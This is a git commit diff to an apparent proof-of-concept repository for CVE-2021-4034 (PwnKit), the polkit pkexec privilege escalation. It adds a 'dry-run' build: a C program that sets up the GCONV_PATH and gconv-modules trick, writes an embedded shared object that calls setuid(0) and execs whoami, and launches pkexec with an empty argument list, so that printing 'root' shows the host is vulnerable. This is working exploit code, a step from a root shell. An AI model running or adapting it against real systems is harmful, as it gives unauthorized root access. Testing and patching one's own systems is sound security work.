The dry run execution will test if the bug is exploitable.
This commit is contained in:
Davide Berardi 2022-01-28 15:19:36 +01:00
parent de74c48b03
commit 89165e8be0
5 changed files with 241 additions and 0 deletions

View File

@ -7,6 +7,7 @@ all: pwnkit.so cve-2021-4034 gconv-modules gconvpath
.PHONY: clean .PHONY: clean
clean: clean:
rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./ rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
make -C dry-run clean
gconv-modules: gconv-modules:
echo "module UTF-8// PWNKIT// pwnkit 1" > $@ echo "module UTF-8// PWNKIT// pwnkit 1" > $@
@ -18,3 +19,7 @@ gconvpath:
pwnkit.so: pwnkit.c pwnkit.so: pwnkit.c
$(CC) $(CFLAGS) --shared -fPIC -o $@ $< $(CC) $(CFLAGS) --shared -fPIC -o $@ $<
.PHONY: dry-run
dry-run:
make -C dry-run

View File

@ -33,6 +33,32 @@ See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ vagrant@ubuntu-impish:~/CVE-2021-4034$
``` ```
## Dry Run
To not execute a shell but just test if the system is vulnerable compile the `dry-run` target.
If the program exit printing "root" it means that your system is vulnerable to the exploit.
```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
```
If your system is not vulnerable it prints an error and exit.
```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
```
## About Polkit pkexec for Linux ## About Polkit pkexec for Linux
Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission). Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).

23
dry-run/Makefile Normal file
View File

@ -0,0 +1,23 @@
TRUE=$(shell which true)
WHOAMI=$(shell which whoami)
CFLAGS=-Wall -DTRUE='"${TRUE}"' -DWHOAMI='"${WHOAMI}"'
.PHONY: all
all: dry-run-cve-2021-4034
.PHONY: clean
clean:
rm -rf dry-run-cve-2021-4034 pwnkit-dry-run.so_data.h pwnkit-dry-run.so
%.so: %.c
$(CC) $(CFLAGS) --shared -o $@ $<
%.so_data.h: %.so
echo "#ifndef __PWNKIT_SO_DATA_H" >$@
echo "#define __PWNKIT_SO_DATA_H" >>$@
xxd -i $< >>$@
echo "#endif" >>$@
dry-run-cve-2021-4034: dry-run-cve-2021-4034.c pwnkit-dry-run.so_data.h
$(CC) $(CFLAGS) -o $@ $<

View File

@ -0,0 +1,171 @@
#include <stdio.h>
#include <fcntl.h>
#include <dirent.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "pwnkit-dry-run.so_data.h"
#define TESTDIR "/tmp/pwnkit-dry-run"
#define EXPLOITABLE_OR_ERROR 1
static int removedir(const char *path)
{
struct dirent *entry;
DIR *directory = opendir(path);
char filename[PATH_MAX + 1];
if (directory == NULL)
return -1;
while ((entry = readdir(directory)) != NULL) {
if (!strcmp(".", entry->d_name))
continue;
if (!strcmp("..", entry->d_name))
continue;
snprintf(filename, PATH_MAX, "%s/%s", path, entry->d_name);
if (entry->d_type == DT_DIR)
removedir(filename);
else
remove(filename);
}
closedir(directory);
return remove(path);
}
static int copyfile(const char *input, const char *output)
{
int ret = 0;
int ofd = 0;
FILE *in, *out;
unsigned char buffer[4096];
in = fopen(input, "rb");
if (in == NULL)
return -1;
ofd = open(output, O_WRONLY | O_CREAT, 0700);
if (ofd < 0)
return -1;
out = fdopen(ofd, "wb");
if (out == NULL)
return -1;
while (!feof(in) && !ferror(in) && !ferror(out)) {
int r = fread(buffer, 1, sizeof(buffer), in);
for (size_t i = 0 ; i < r && !ferror(in) && !ferror(out);) {
int w = fwrite(buffer + i, 1, sizeof(buffer) - i, out);
i += w;
}
}
ret = ferror(in) || ferror(out);
fclose(in);
fclose(out);
return ret;
}
static int createandwritefile(const char *dest, const char *content)
{
FILE *f = fopen(dest, "w");
if (f == NULL)
return -1;
fprintf(f, "%s\n", content);
fclose(f);
return 0;
}
static int createsharedobjectpwnkit(const char *outputname)
{
int ret = 0;
int wrote = 0;
int fd;
FILE *f;
fd = open(outputname, O_WRONLY | O_CREAT, 0700);
if (fd < 0)
return -1;
f = fdopen(fd, "wb");
if (f == NULL)
return -1;
while (wrote < pwnkit_dry_run_so_len) {
int w = fwrite(pwnkit_dry_run_so + wrote, 1,
pwnkit_dry_run_so_len - wrote, f);
wrote += w;
}
ret = ferror(f);
fclose(f);
return ret;
}
int main(int argc, char **argv)
{
pid_t p;
int wstatus = 0;
int exitcode = EXPLOITABLE_OR_ERROR;
char * const args[] = {
NULL
};
char * const environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/lol/i/do/not/exists",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
NULL
};
mkdir(TESTDIR, 0750);
if (chdir(TESTDIR) != 0)
return EXPLOITABLE_OR_ERROR;
mkdir("GCONV_PATH=.", 0750);
if (copyfile(TRUE, "GCONV_PATH=./pwnkit.so:.") != 0)
return EXPLOITABLE_OR_ERROR;
if (createandwritefile("gconv-modules", "module UTF-8// PWNKIT// pwnkit 1") != 0)
return EXPLOITABLE_OR_ERROR;
if (createsharedobjectpwnkit("pwnkit.so"));
p = fork();
switch (p) {
case -1:
perror("fork");
break;
case 0:
return execve("/usr/bin/pkexec", args, environ);
default:
wait(&wstatus);
while (!WIFEXITED(wstatus))
wait(&wstatus);
exitcode = WEXITSTATUS(wstatus);
break;
}
removedir(TESTDIR);
if (exitcode != 0)
return 1 - EXPLOITABLE_OR_ERROR;
return EXPLOITABLE_OR_ERROR;
}

16
dry-run/pwnkit-dry-run.c Normal file
View File

@ -0,0 +1,16 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {
}
void gconv_init(void *step)
{
char * const args[] = { WHOAMI, NULL };
char * const environ[] = { NULL };
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}